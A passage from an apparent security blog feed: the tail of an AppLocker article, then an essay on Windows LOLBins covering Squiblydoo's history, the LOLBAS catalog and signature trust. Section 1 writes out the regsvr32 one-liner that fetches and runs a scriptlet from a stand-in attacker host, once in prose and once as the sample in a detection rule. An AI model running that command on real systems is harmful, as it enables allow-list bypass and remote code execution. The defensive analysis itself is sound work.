&lt;p&gt;The thesis was the article&apos;s first sentence: two locks on the same door, two threat models, not redundancy. AppLocker is operational hygiene, the user-mode evaluator Microsoft itself declines to call a security feature. App Control for Business -- with a signed policy, HVCI on, and the Recommended Block Rules merged in -- is the MSRC security boundary. Both ship in Windows 11 24H2 and Server 2025 because neither is a strict superset of the other, and the practitioner gets to choose, per deployment, which lock the door needs. For deeper treatment of the cryptographic plumbing, see the companion Authenticode article; for the HVCI / VTL story, see the companion WDAC + HVCI article; for the BYOVD residual in section 13, see the companion Driver Signing article. The line between &lt;em&gt;security feature&lt;/em&gt; and &lt;em&gt;operational hygiene control&lt;/em&gt; is sharp in Microsoft&apos;s own words -- and the two products defending that line will both keep shipping until the line itself moves.&lt;/p&gt;
</content:encoded><category>windows-security</category><category>applocker</category><category>wdac</category><category>app-control</category><category>code-integrity</category><category>allowlisting</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break</title><link>https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st/</link><guid isPermaLink="true">https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st/</guid><description>How a 1996 Authenticode design choice produced the LOLBin class, why the LOLBAS catalog has 207 binaries and Microsoft only blocks ~40, and why that gap is permanent.</description><pubDate>Tue, 26 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft&apos;s App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith&apos;s 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft&apos;s four-generation response, and argues the class is permanent.
&lt;h2&gt;1. The Four-Line Bypass That Cannot Be Patched&lt;/h2&gt;
&lt;p&gt;On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in &lt;em&gt;enforce&lt;/em&gt; mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.&lt;/p&gt;
&lt;p&gt;The command is short enough to memorize:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every part of it is normal. &lt;code&gt;regsvr32.exe&lt;/code&gt; is the operating system&apos;s COM registration utility, shipped in every Windows release since NT 4. The &lt;code&gt;/i:URL&lt;/code&gt; switch is documented [@lolbas-regsvr32]: it passes an &lt;em&gt;installation parameter&lt;/em&gt; to a COM scriptlet. &lt;code&gt;scrobj.dll&lt;/code&gt; is the Microsoft Script Component runtime. The &lt;code&gt;.sct&lt;/code&gt; extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.&lt;/p&gt;
&lt;p&gt;What is not normal is who controls the URL. When &lt;code&gt;regsvr32.exe&lt;/code&gt; fetches that &lt;code&gt;.sct&lt;/code&gt; over HTTP and hands it to &lt;code&gt;scrobj.dll&lt;/code&gt;, the scriptlet&apos;s body runs inside a Microsoft-signed parent process. The &lt;code&gt;/s&lt;/code&gt; flag suppresses dialog boxes, &lt;code&gt;/n&lt;/code&gt; tells &lt;code&gt;regsvr32&lt;/code&gt; not to call &lt;code&gt;DllRegisterServer&lt;/code&gt;, and &lt;code&gt;/u&lt;/code&gt; reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it &lt;em&gt;Squiblydoo&lt;/em&gt; in its April 28, 2016 threat advisory, and the MITRE ATT&amp;amp;CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about &quot;hipster hackers&quot; and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].&lt;/p&gt;

The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black&apos;s April 28, 2016 threat advisory; tracked by MITRE ATT&amp;amp;CK as sub-technique T1218.010 [@attack-t1218-010].

sequenceDiagram
    participant User as User shell
    participant Regsvr32 as regsvr32.exe (signed)
    participant Scrobj as scrobj.dll (signed)
    participant Remote as Attacker HTTP server
    participant JScript as JScript engine
    User-&amp;gt;&amp;gt;Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll
    Regsvr32-&amp;gt;&amp;gt;Scrobj: Load COM scriptlet runtime
    Scrobj-&amp;gt;&amp;gt;Remote: GET /x.sct
    Remote--&amp;gt;&amp;gt;Scrobj: scriptlet XML with embedded JScript body
    Scrobj-&amp;gt;&amp;gt;JScript: Evaluate script body in-process
    JScript--&amp;gt;&amp;gt;User: Arbitrary code runs as the user
&lt;p&gt;The reason this bypass is famous is not the technique. It is the &lt;em&gt;invariance&lt;/em&gt;. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith&apos;s command is the security industry&apos;s longest-lived working proof-of-concept against the &lt;em&gt;defaults&lt;/em&gt; of a flagship operating system.&lt;/p&gt;
&lt;p&gt;A defender watching this from an EDR console sees a specific shape: a parent process (often &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;explorer.exe&lt;/code&gt;, an Office app, or a script host) spawns &lt;code&gt;regsvr32.exe&lt;/code&gt;, and the command line contains &lt;code&gt;/i:http&lt;/code&gt;. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a &lt;a href=&quot;https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/&quot; rel=&quot;noopener&quot;&gt;Sysmon Event ID 1&lt;/a&gt; (process create) rule.&lt;/p&gt;
&lt;p&gt;{`
// Simulated EDR rule: flag any child regsvr32.exe whose command line
// references a remote URL. This is the canonical detection shape that
// SOC analysts have been writing for ten years.
function isSquiblydoo(event) {
  const child = (event.image || &apos;&apos;).toLowerCase();
  const cmd   = (event.commandLine || &apos;&apos;).toLowerCase();
  if (!child.endsWith(&apos;\\regsvr32.exe&apos;)) return false;
  // /i:http or /i:https with a URL argument is the load-bearing signal.
  return /\/i:https?:\/\//.test(cmd);
}&lt;/p&gt;
&lt;p&gt;const sample = {
  image: &apos;C:\\Windows\\System32\\regsvr32.exe&apos;,
  parentImage: &apos;C:\\Windows\\System32\\cmd.exe&apos;,
  commandLine: &apos;regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll&apos;
};
console.log(&apos;Squiblydoo match:&apos;, isSquiblydoo(sample));
`}&lt;/p&gt;
&lt;p&gt;The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world&apos;s most-deployed desktop operating system? Second: is &lt;code&gt;regsvr32&lt;/code&gt; an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.&lt;/p&gt;
&lt;h2&gt;2. Five Years From Coined Phrase to Catalog&lt;/h2&gt;
&lt;p&gt;When did &lt;em&gt;living off the land&lt;/em&gt; become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 (&quot;All in the Family&quot;), Christopher Campbell and Matt Graeber gave a talk titled &lt;em&gt;Living off the Land: A Minimalist&apos;s Guide to Windows Post-Exploitation&lt;/em&gt; [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (&lt;code&gt;wmic&lt;/code&gt;, &lt;code&gt;netsh&lt;/code&gt;, &lt;code&gt;powershell&lt;/code&gt;, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.&lt;/p&gt;
&lt;p&gt;The phrase entered defender vocabulary, but the &lt;em&gt;catalog&lt;/em&gt; did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith&apos;s April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil &lt;code&gt;/U&lt;/code&gt; bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added &lt;code&gt;dnx.exe&lt;/code&gt; on November 17, 2016 [@enigma0x3-dnx] and &lt;code&gt;rcsi.exe&lt;/code&gt; four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.&lt;/p&gt;
&lt;p&gt;In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical &lt;em&gt;Subverting Trust in Windows&lt;/em&gt; writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named &lt;em&gt;misplaced trust&lt;/em&gt; as the mismatch between &lt;em&gt;the binary is signed by Microsoft&lt;/em&gt; and &lt;em&gt;the binary&apos;s behavior is trustworthy when handed attacker-controlled arguments&lt;/em&gt; [@specterops-subverting-trust]. The same year, Symantec&apos;s ISTR special report brought &quot;living off the land&quot; into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.&lt;/p&gt;
&lt;p&gt;The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project&apos;s origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster&apos;s local timezone), Philip Goh proposed the acronym &lt;em&gt;LOLBins&lt;/em&gt; -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster&apos;s local timezone), Jimmy Bayne proposed &lt;em&gt;LOLScripts&lt;/em&gt; for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between &lt;em&gt;LOLBin&lt;/em&gt; and &lt;em&gt;LOLBas&lt;/em&gt;; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at &lt;code&gt;10:04:50 UTC&lt;/code&gt;, Moe created the GitHub repository &lt;code&gt;api0cradle/LOLBAS&lt;/code&gt; [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor &lt;code&gt;LOLBAS-Project/LOLBAS&lt;/code&gt; [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.&lt;/p&gt;
&lt;p&gt;The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article&apos;s prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.&lt;/p&gt;
&lt;p&gt;Two more 2018 events matter. On August 17, 2018, Matt Graeber posted &lt;em&gt;Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe&lt;/em&gt;; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt; was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog&apos;s growth over the next eight years.&lt;/p&gt;
&lt;p&gt;The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled &lt;em&gt;#LOLBins -- Nothing to LOL about!&lt;/em&gt; [@derbycon8-moe]. The LOLBAS README itself names this as the project&apos;s foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project&apos;s own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.&lt;/p&gt;

timeline
    title LOLBin coinage and catalog, 2013 to 2018
    2013-09-27 : DerbyCon 3 Campbell and Graeber coin &quot;living off the land&quot;
    2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet)
    2016-11    : Matt Nelson publishes dnx and rcsi bypasses
    2017       : Graeber and Smith speak at BlueHat IL 2017
    2018-03-01 : Philip Goh proposes &quot;LOLBins&quot; on Twitter (UTC)
    2018-03    : Graeber and Christensen present Subverting Trust in Windows at TROOPERS
    2018-04-13 : Jimmy Bayne proposes &quot;LOLScripts&quot; (UTC)
    2018-04-15 : Oddvar Moe poll ratifies &quot;LOLBin&quot; with 69 percent
    2018-04-18 : api0cradle/LOLBAS GitHub repo created
    2018-06-08 : LOLBAS-Project organization repo created
    2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe
    2018-10    : Oddvar Moe DerbyCon 8 &quot;#LOLBins -- Nothing to LOL about!&quot;

A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has &quot;extra unexpected functionality&quot; useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].
&lt;p&gt;Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was &lt;em&gt;naming the class&lt;/em&gt;. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.&lt;/p&gt;
&lt;h2&gt;3. The Two Trust Axes Microsoft Decoupled in 1996&lt;/h2&gt;
&lt;p&gt;Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.&lt;/p&gt;
&lt;p&gt;Start with the 1996 trade-off. &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;&lt;em&gt;Authenticode&lt;/em&gt;&lt;/a&gt; shipped with Internet Explorer 3.0 to answer one question: &lt;em&gt;was this code signed by a party I trust?&lt;/em&gt; [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable&apos;s hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.&lt;/p&gt;

Microsoft&apos;s code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary&apos;s hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].
&lt;p&gt;Notice what Authenticode does &lt;em&gt;not&lt;/em&gt; answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary&apos;s documented behavior includes &quot;execute attacker-controlled JScript fetched over HTTP.&quot; Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.&lt;/p&gt;
&lt;p&gt;Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces &lt;em&gt;publisher rules&lt;/em&gt;, &lt;em&gt;path rules&lt;/em&gt;, and &lt;em&gt;hash rules&lt;/em&gt; as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker&apos;s default rule template admits every executable under &lt;code&gt;%windir%&lt;/code&gt; or &lt;code&gt;%programfiles%&lt;/code&gt; via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft&apos;s tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.&lt;/p&gt;

The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft&apos;s own documentation now describes AppLocker as &quot;a defense-in-depth security feature and not considered a defensible Windows security feature&quot; [@ms-applocker-overview]; App Control for Business is the modern successor.
&lt;p&gt;Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of &lt;code&gt;mshtml.dll&lt;/code&gt; or &lt;code&gt;cmd.exe&lt;/code&gt;. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker&apos;s default rule was, by any pragmatic measure, the right call.&lt;/p&gt;
&lt;p&gt;But that call inherits Authenticode&apos;s blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary &lt;em&gt;does&lt;/em&gt;. The two systems live on orthogonal trust axes:&lt;/p&gt;

flowchart LR
    A[&quot;Authenticode signing&lt;br /&gt;Who signed this binary?&quot;] --&amp;gt; B[&quot;AppLocker policy&lt;br /&gt;Is this publisher allowed?&quot;]
    B --&amp;gt; C[&quot;Binary loads and runs&quot;]
    C --&amp;gt; D[&quot;Runtime behavior&lt;br /&gt;What does this binary do with arguments?&quot;]
    D -. unmeasured .-&amp;gt; E[&quot;Attacker-controlled script,&lt;br /&gt;DLL, XOML, or URL is executed&quot;]
    style D stroke:#888,stroke-dasharray: 5 5
    style E stroke:#c33,stroke-width:2px
&lt;p&gt;The point of the diagram is the dotted edge. There is no measurement of &lt;em&gt;D&lt;/em&gt; before &lt;em&gt;C&lt;/em&gt;. The control plane stops at the signature check, and the runtime behavior is the attacker&apos;s playground. That gap is exactly where Squiblydoo lives. &lt;code&gt;regsvr32.exe&lt;/code&gt; is Microsoft-signed (Authenticode says &lt;em&gt;yes&lt;/em&gt;). It is on the default AppLocker publisher rule (AppLocker says &lt;em&gt;yes&lt;/em&gt;). It has a documented &lt;code&gt;/i:URL&lt;/code&gt; switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Signature trust answers &lt;em&gt;who signed this?&lt;/em&gt;. It cannot answer &lt;em&gt;what does this binary do at runtime?&lt;/em&gt;. The LOLBin class is the runtime consequence of treating those as the same question.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the structural error -- and &quot;error&quot; is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.&lt;/p&gt;
&lt;p&gt;Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: &lt;em&gt;AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature&lt;/em&gt; [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.&lt;/p&gt;

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]
&lt;p&gt;The structural argument from this section is the rest of the article&apos;s load-bearing premise. If signature trust is decoupled from behavior trust &lt;em&gt;by construction&lt;/em&gt;, then for every Microsoft-signed binary that exposes a &quot;load and execute arbitrary script, DLL, or payload&quot; surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.&lt;/p&gt;
&lt;h2&gt;4. The LOLBAS Catalog as a Data Structure&lt;/h2&gt;
&lt;p&gt;Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&amp;amp;CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an &lt;em&gt;artifact&lt;/em&gt; the defender community built, not just a list of binaries.&lt;/p&gt;
&lt;p&gt;The repository at &lt;code&gt;LOLBAS-Project/LOLBAS&lt;/code&gt; [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Directory&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;Count&lt;/th&gt;
&lt;th&gt;What it holds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OSBinaries/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;130&lt;/td&gt;
&lt;td&gt;Native Windows-shipped executables (&lt;code&gt;regsvr32&lt;/code&gt;, &lt;code&gt;rundll32&lt;/code&gt;, &lt;code&gt;mshta&lt;/code&gt;, &lt;code&gt;certutil&lt;/code&gt;, ...)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OtherMSBinaries/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;77&lt;/td&gt;
&lt;td&gt;Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OSLibraries/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;17&lt;/td&gt;
&lt;td&gt;DLLs that can be loaded as LOLBin payloads (the LOLLib subclass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;yml/OSScripts/&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;10&lt;/td&gt;
&lt;td&gt;Microsoft-shipped scripts (the LOLScript subclass)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;&lt;strong&gt;234&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;207 binaries plus 27 libraries and scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.
&lt;p&gt;The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.&lt;/p&gt;
&lt;p&gt;Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are &lt;code&gt;Name&lt;/code&gt;, &lt;code&gt;Description&lt;/code&gt;, &lt;code&gt;Author&lt;/code&gt;, &lt;code&gt;Created&lt;/code&gt;, one or more &lt;code&gt;Commands&lt;/code&gt; blocks, &lt;code&gt;Full_Path&lt;/code&gt;, &lt;code&gt;Code_Sample&lt;/code&gt;, &lt;code&gt;Detection&lt;/code&gt;, &lt;code&gt;Resources&lt;/code&gt;, and &lt;code&gt;Acknowledgements&lt;/code&gt;. Inside each &lt;code&gt;Commands&lt;/code&gt; block sits the function taxonomy that defenders read first.&lt;/p&gt;

flowchart TD
    Entry[&quot;YAML entry: Name&lt;br /&gt;Description, Author, Created&quot;]
    Entry --&amp;gt; Commands[&quot;Commands[]&quot;]
    Commands --&amp;gt; C1[&quot;Command 1: command-line invocation&quot;]
    Commands --&amp;gt; C2[&quot;Command 2: command-line invocation&quot;]
    C1 --&amp;gt; Use[&quot;Use: plain-English description&quot;]
    C1 --&amp;gt; Category[&quot;Category: Execute, Download, Compile, AWL Bypass, ...&quot;]
    C1 --&amp;gt; Priv[&quot;Privileges: User or Admin&quot;]
    C1 --&amp;gt; Mitre[&quot;MitreID: T1218.010, T1127.001, ...&quot;]
    Entry --&amp;gt; Paths[&quot;Full_Path[]: where the binary lives on disk&quot;]
    Entry --&amp;gt; Detect[&quot;Detection[]: vendor-curated detection links&quot;]
    Entry --&amp;gt; Refs[&quot;Resources[]: primary disclosures and writeups&quot;]
    Entry --&amp;gt; Ack[&quot;Acknowledgements[]: credited researchers&quot;]
&lt;p&gt;The function taxonomy is a closed set of eleven categories: &lt;code&gt;Execute&lt;/code&gt;, &lt;code&gt;Download&lt;/code&gt;, &lt;code&gt;Copy&lt;/code&gt;, &lt;code&gt;Encode&lt;/code&gt;, &lt;code&gt;Decode&lt;/code&gt;, &lt;code&gt;Compile&lt;/code&gt;, &lt;code&gt;Credentials&lt;/code&gt;, &lt;code&gt;AWL Bypass&lt;/code&gt;, &lt;code&gt;AWL Bypass + UAC Bypass&lt;/code&gt;, &lt;code&gt;Reconnaissance&lt;/code&gt;, and &lt;code&gt;Dump&lt;/code&gt;. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.&lt;/p&gt;
&lt;p&gt;The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:&lt;/p&gt;

Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra &apos;unexpected&apos; functionality. ... Have functionality that would be useful to an APT or red team. -- LOLBAS criteria [@lolbas-github]
&lt;p&gt;The two clauses do most of the project&apos;s editorial work. The first clause -- &lt;em&gt;Microsoft-signed, native or downloaded from Microsoft&lt;/em&gt; -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else&apos;s problem (probably an EV-certificate review). The second clause -- &lt;em&gt;extra unexpected functionality, useful to an APT or red team&lt;/em&gt; -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (&lt;code&gt;cmd.exe&lt;/code&gt; running a script is not a LOLBin; &lt;code&gt;regsvr32.exe&lt;/code&gt; fetching a script from &lt;code&gt;http://&lt;/code&gt; is).&lt;/p&gt;
&lt;p&gt;Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris &quot;Lopi&quot; Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at &lt;code&gt;lolbas-project.github.io&lt;/code&gt; exposes the same data as a browsable per-binary site [@lolbas-frontend].&lt;/p&gt;
&lt;p&gt;The LOLBAS frontend at &lt;code&gt;lolbas-project.github.io&lt;/code&gt; is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.&lt;/p&gt;
&lt;p&gt;The catalog&apos;s status as a &lt;em&gt;data structure&lt;/em&gt; is what distinguishes it from a textbook chapter. Splunk&apos;s Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&amp;amp;CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA&apos;s joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.&lt;/p&gt;
